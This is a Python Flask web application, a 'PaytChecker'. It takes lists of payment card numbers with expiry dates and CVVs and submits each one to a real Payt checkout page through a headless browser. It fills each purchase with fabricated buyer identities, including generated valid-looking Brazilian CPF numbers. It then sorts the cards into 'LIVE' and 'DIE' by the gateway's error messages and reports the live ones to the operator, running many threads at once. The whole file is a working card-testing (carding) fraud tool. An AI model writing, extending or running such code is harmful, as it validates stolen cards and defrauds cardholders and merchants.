|
|
| from flask import Flask, render_template, request, jsonify |
| from flask_socketio import SocketIO, emit |
| from playwright.sync_api import sync_playwright |
| import random |
| import time |
| import os |
| import re |
| import requests |
| from datetime import datetime |
| import threading |
|
|
| app = Flask(__name__, template_folder='templates', static_folder='static') |
| app.config['SECRET_KEY'] = 'supersecret!' |
| socketio = SocketIO(app, cors_allowed_origins="*") |
|
|
| |
| class cores: |
| VERDE = '\033[92m' |
| VERMELHO = '\033[91m' |
| AZUL = '\033[94m' |
| AMARELO = '\033[93m' |
| RESET = '\033[0m' |
|
|
| class PaytChecker: |
| def __init__(self, sid=None): |
| self.HEADLESS = True |
| self.BASE_URL = "https://checkout.payt.com.br/35a53eba9befcf53a42be3f0b22a39c2" |
| self.lives = 0 |
| self.dies = 0 |
| self.errors = 0 |
| self.total_checked = 0 |
| self.stop_flag = False |
| self.sid = sid |
| |
| self.provedores_email = ["@gmail.com", "@outlook.com", "@hotmail.com", "@yahoo.com.br"] |
|
|
| def emit_to_client(self, event, data): |
| if self.sid: |
| socketio.emit(event, data, room=self.sid) |
| else: |
| print(f"[SERVER] {event}: {data}") |
|
|
| def gerar_cpf_valido(self): |
| while True: |
| cpf = [random.randint(0, 9) for _ in range(9)] |
| soma = sum((i + 2) * cpf[8 - i] for i in range(9)) |
| digito1 = 11 - (soma % 11) |
| if digito1 >= 10: digito1 = 0 |
| cpf.append(digito1) |
| soma = sum((i + 2) * cpf[9 - i] for i in range(10)) |
| digito2 = 11 - (soma % 11) |
| if digito2 >= 10: digito2 = 0 |
| cpf.append(digito2) |
| cpf_str = ''.join(str(d) for d in cpf) |
| |
| if cpf_str not in ['00000000000', '11111111111', '22222222222', '33333333333', |
| '44444444444', '55555555555', '66644444444', '77777777777', |
| '88888888888', '99999999999']: |
| return cpf_str |
|
|
| def gerar_dados_aleatorios(self): |
| primeiros = ["Joao", "Maria", "Jose", "Ana", "Carlos", "Juliana", "Pedro", "Fernanda"] |
| sobrenomes = ["Silva", "Santos", "Oliveira", "Souza", "Rodrigues", "Ferreira", "Alves", "Lima"] |
| |
| nome = f"{random.choice(primeiros)} {random.choice(sobrenomes)}" |
| cpf = self.gerar_cpf_valido() |
| |
| nome_email = nome.split()[0].lower() |
| nome_email = re.sub(r'[^a-z]', '', nome_email) |
| email = f"{nome_email}{random.randint(1, 99999)}{random.choice(self.provedores_email)}" |
| |
| telefone = f"{random.randint(11, 99)}{random.randint(900000000, 999999999)}" |
| |
| return { |
| 'nome': nome, |
| 'nome_cartao': nome.upper(), |
| 'cpf': cpf, |
| 'email': email, |
| 'telefone': telefone |
| } |
|
|
| def gerar_dados_4devs(self): |
| try: |
| url = 'https://www.4devs.com.br/ferramentas_online.php' |
| payload = { |
| 'acao': 'gerar_pessoa', |
| 'sexo': 'I', |
| 'pontuacao': 'S', |
| 'idade': '0', |
| 'cep_estado': '', |
| 'txt_qtde': '1', |
| 'cep_cidade': '' |
| } |
| headers = { |
| 'Accept': '*/*', |
| 'Accept-Language': 'pt-BR,pt;q=0.9', |
| 'Content-Type': 'application/x-www-form-urlencoded', |
| 'Origin': 'https://www.4devs.com.br', |
| 'Referer': 'https://www.4devs.com.br/gerador_de_pessoas', |
| 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36' |
| } |
| |
| response = requests.post(url, data=payload, headers=headers, timeout=10) |
| response.raise_for_status() |
| |
| dados_json = response.json() |
| nome = dados_json.get('nome', '') |
| cpf = dados_json.get('cpf', '') |
| email = dados_json.get('email', '') |
| telefone = dados_json.get('telefone', '') |
| |
| if nome and cpf and email and telefone: |
| self.emit_to_client('log', {'type': 'info', 'badge': '4DEVS', 'msg': f'Dados reais obtidos: {nome} | {cpf}'}) |
| return { |
| 'nome': nome, |
| 'nome_cartao': nome.upper(), |
| 'cpf': cpf, |
| 'email': email, |
| 'telefone': telefone |
| } |
| else: |
| raise ValueError("Dados incompletos retornados pela API") |
| |
| except Exception as e: |
| self.emit_to_client('log', {'type': 'warn', 'badge': '4DEVS', 'msg': f'Falha ao obter dados reais: {e}. Usando fallback aleatório.'}) |
| return self.gerar_dados_aleatorios() |
|
|
| def preencher_campos(self, page, dados, numero, mes, ano, cvv): |
| page.fill('#full_name', dados['nome']) |
| page.fill('#email', dados['email']) |
| page.fill('#phone', dados['telefone']) |
| page.fill('#cpf_cnpj', dados['cpf']) |
| page.evaluate("window.scrollBy(0, 400)") |
| time.sleep(0.3) |
| page.fill('#cardNumber', numero) |
| page.fill('#cardName', dados['nome_cartao']) |
| page.fill('#cardDueDate', f"{mes}{ano}") |
| page.fill('#cardCvv', cvv) |
| page.evaluate("window.scrollBy(0, 200)") |
| time.sleep(0.3) |
|
|
| def clicar_botao(self, page): |
| time.sleep(0.5) |
| seletores = ['button:has-text("Confirmar Pagamento")', 'button:has-text("Confirmar")', |
| 'button[type="submit"]', '.btn-primary'] |
| for seletor in seletores: |
| try: |
| if page.locator(seletor).count() > 0: |
| btn = page.locator(seletor).first |
| if btn.is_visible(): |
| btn.scroll_into_view_if_needed() |
| btn.click(force=True) |
| return True |
| except: continue |
| return False |
|
|
| def classificar_retorno(self, mensagem): |
| termos_live = [ |
| "Sua compra ainda não foi finalizada", |
| "Saldo insuficiente, aumente seu limite e realize a compra.", |
| "Não pudemos processar seu pagamento, entre em contato com o suporte.", |
| "Verifique os dados do seu cartão e tente novamente" |
| ] |
| termos_die = [ |
| "Revise os dados do cartão e tente novamente.", |
| "Não conseguimos processar seu pagamento, tente novamente mais tarde." |
| ] |
| |
| for termo in termos_live: |
| if termo.lower() in mensagem.lower(): |
| return "LIVE" |
| for termo in termos_die: |
| if termo.lower() in mensagem.lower(): |
| return "DIE" |
| return "DIE" |
|
|
| def capturar_retorno(self, page): |
| time.sleep(2) |
| |
| for tentativa in range(60): |
| if self.stop_flag: return "STOPPED", "Processamento interrompido" |
| time.sleep(1) |
| |
| url = page.url |
| if "obrigado" in url or "success" in url: |
| return "LIVE", "Pagamento aprovado com sucesso!" |
| |
| try: |
| msg = page.locator('//*[@id="app"]/nav/div/p') |
| if msg.count() > 0: |
| texto = msg.first.text_content() |
| if texto and len(texto.strip()) > 5: |
| texto_completo = texto.strip() |
| resultado = self.classificar_retorno(texto_completo) |
| return resultado, texto_completo |
| except: pass |
| |
| try: |
| container = page.locator('//*[@id="app"]/nav/div') |
| if container.count() > 0: |
| texto = container.first.text_content() |
| if texto and len(texto.strip()) > 5: |
| texto = re.sub(r'Algo deu errado|Atualizar|Confirmar|Continuar|Parcelas|Voltar', '', texto) |
| texto_completo = ' '.join(texto.split()) |
| if len(texto_completo) > 5: |
| resultado = self.classificar_retorno(texto_completo) |
| return resultado, texto_completo |
| except: pass |
| |
| try: |
| body = page.locator('body').text_content() |
| mensagens = [ |
| "Sua compra ainda não foi finalizada", |
| "Saldo insuficiente, aumente seu limite e realize a compra.", |
| "Não pudemos processar seu pagamento, entre em contato com o suporte.", |
| "Verifique os dados do seu cartão e tente novamente", |
| "Revise os dados do cartão e tente novamente.", |
| "Não conseguimos processar seu pagamento, tente novamente mais tarde." |
| ] |
| |
| for msg in mensagens: |
| if msg.lower() in body.lower(): |
| resultado = self.classificar_retorno(msg) |
| return resultado, msg |
| except: pass |
| |
| if (tentativa + 1) % 10 == 0: |
| self.emit_to_client('log', {'type': 'info', 'badge': 'WAIT', 'msg': f'Aguardando... {tentativa+1}/60'}) |
| |
| return "DIE", "Timeout - Sem resposta da gateway" |
|
|
| def testar_cartao(self, cartao, i, total, thread_id): |
| if self.stop_flag: return |
|
|
| partes = cartao.split('|') |
| if len(partes) != 4: |
| self.errors += 1 |
| self.total_checked += 1 |
| self.emit_to_client('log', {'type': 'erro', 'badge': 'FORMAT', 'card': cartao, 'msg': 'Formato de cartão inválido', 'slot': thread_id}) |
| self.update_stats(total) |
| return |
| |
| numero, mes, ano, cvv = partes |
| ano = ano[-2:] if len(ano) == 4 else ano |
| |
| dados = self.gerar_dados_4devs() |
| |
| inicio = time.time() |
| try: |
| with sync_playwright() as p: |
| browser = p.chromium.launch(headless=self.HEADLESS, args=['--no-sandbox', '--disable-setuid-sandbox']) |
| context = browser.new_context(viewport={'width': 1366, 'height': 768}) |
| page = context.new_page() |
| |
| self.emit_to_client('thread_status', {'id': thread_id, 'status': 'active', 'card': cartao}) |
| page.goto(self.BASE_URL, wait_until='domcontentloaded') |
| time.sleep(1.5) |
| |
| self.preencher_campos(page, dados, numero, mes, ano, cvv) |
| |
| if not self.clicar_botao(page): |
| self.errors += 1 |
| self.total_checked += 1 |
| self.emit_to_client('log', {'type': 'erro', 'badge': 'CLICK', 'card': cartao, 'msg': 'Não foi possível clicar no botão de pagamento', 'slot': thread_id}) |
| self.emit_to_client('thread_status', {'id': thread_id, 'status': 'done-err', 'card': cartao}) |
| self.update_stats(total) |
| browser.close() |
| return |
| |
| status, mensagem = self.capturar_retorno(page) |
| segundos = round(time.time() - inicio, 1) |
| |
| if status == "LIVE": |
| self.lives += 1 |
| self.emit_to_client('log', {'type': 'live', 'badge': 'LIVE', 'card': cartao, 'msg': mensagem, 'slot': thread_id, 'tempo': segundos}) |
| self.emit_to_client('live_card', {'card': cartao, 'msg': mensagem, 'tempo': segundos}) |
| self.emit_to_client('thread_status', {'id': thread_id, 'status': 'done-live', 'card': cartao}) |
| elif status == "DIE": |
| self.dies += 1 |
| self.emit_to_client('log', {'type': 'die', 'badge': 'DIE', 'card': cartao, 'msg': mensagem, 'slot': thread_id, 'tempo': segundos}) |
| self.emit_to_client('thread_status', {'id': thread_id, 'status': 'done-die', 'card': cartao}) |
| elif status == "STOPPED": |
| self.emit_to_client('log', {'type': 'info', 'badge': 'STOP', 'card': cartao, 'msg': mensagem, 'slot': thread_id, 'tempo': segundos}) |
| self.emit_to_client('thread_status', {'id': thread_id, 'status': 'idle', 'card': cartao}) |
| browser.close() |
| return |
| |
| browser.close() |
| |
| except Exception as e: |
| self.errors += 1 |
| self.emit_to_client('log', {'type': 'erro', 'badge': 'ERROR', 'card': cartao, 'msg': f'Erro inesperado: {e}', 'slot': thread_id}) |
| self.emit_to_client('thread_status', {'id': thread_id, 'status': 'done-err', 'card': cartao}) |
| finally: |
| self.total_checked += 1 |
| self.update_stats(total) |
|
|
| def update_stats(self, total_cards): |
| self.emit_to_client('update_stats', { |
| 'lives': self.lives, |
| 'dies': self.dies, |
| 'errors': self.errors, |
| 'total': total_cards, |
| 'checked': self.total_checked |
| }) |
| if self.total_checked == total_cards: |
| self.emit_to_client('process_complete', {'lives': self.lives, 'dies': self.dies, 'errors': self.errors}) |
| self.emit_to_client('set_ui', {'on': False}) |
|
|
|
|
| |
|
|
| @app.route('/') |
| def index(): |
| return render_template('index.html') |
|
|
| processing_threads = [] |
| stop_event = threading.Event() |
|
|
| @socketio.on('connect') |
| def test_connect(): |
| print(f'Client connected: {request.sid}') |
| emit('my response', {'data': 'Connected'}) |
|
|
| @socketio.on('disconnect') |
| def test_disconnect(): |
| print(f'Client disconnected: {request.sid}') |
|
|
| @socketio.on('start_process') |
| def start_process(data): |
| global processing_threads |
| global stop_event |
|
|
| if processing_threads and any(t.is_alive() for t in processing_threads): |
| emit('log', {'type': 'warn', 'badge': 'SERVER', 'msg': 'Processo já em execução.'}) |
| return |
|
|
| cards_raw = data['cards'] |
| num_threads = int(data['threads']) |
| client_sid = request.sid |
|
|
| cards = [line.strip() for line in cards_raw.split('\n') if line.strip() and '|' in line.strip()] |
| total_cards = len(cards) |
|
|
| if not cards: |
| emit('log', {'type': 'erro', 'badge': 'SERVER', 'msg': 'Nenhum cartão válido fornecido.'}) |
| emit('set_ui', {'on': False}) |
| return |
|
|
| emit('set_ui', {'on': True}) |
| emit('log', {'type': 'info', 'badge': 'SERVER', 'msg': f'Iniciando processamento de {total_cards} cartões com {num_threads} threads.'}) |
| emit('update_stats', {'lives': 0, 'dies': 0, 'errors': 0, 'total': total_cards, 'checked': 0}) |
|
|
| checker = PaytChecker(sid=client_sid) |
| stop_event.clear() |
|
|
| processing_threads = [] |
| cards_per_thread = (total_cards + num_threads - 1) // num_threads |
|
|
| def worker(cards_chunk, thread_id, total_cards_overall): |
| for i, card in enumerate(cards_chunk): |
| if stop_event.is_set(): |
| checker.emit_to_client('log', {'type': 'info', 'badge': 'THREAD', 'msg': f'Thread {thread_id+1} interrompida.', 'slot': thread_id}) |
| break |
| checker.testar_cartao(card, checker.total_checked + 1, total_cards_overall, thread_id) |
| time.sleep(0.5) |
| checker.emit_to_client('thread_status', {'id': thread_id, 'status': 'idle', 'card': ''}) |
|
|
| for i in range(num_threads): |
| start_idx = i * cards_per_thread |
| end_idx = min((i + 1) * cards_per_thread, total_cards) |
| chunk = cards[start_idx:end_idx] |
| if chunk: |
| thread = threading.Thread(target=worker, args=(chunk, i, total_cards)) |
| processing_threads.append(thread) |
| thread.start() |
|
|
| @socketio.on('stop_process') |
| def stop_process(): |
| global stop_event |
| stop_event.set() |
| emit('log', {'type': 'warn', 'badge': 'SERVER', 'msg': 'Sinal de parada enviado. Aguardando threads finalizarem...'}) |
| emit('set_ui', {'on': False}) |
|
|
| @app.route('/api/download/lives') |
| def download_lives(): |
| |
| |
| return "Funcionalidade de download de lives não implementada ainda.", 501 |
|
|
|
|
| if __name__ == '__main__': |
| |
| socketio.run(app, host='0.0.0.0', port=7860, allow_unsafe_werkzeug=True) |
|
|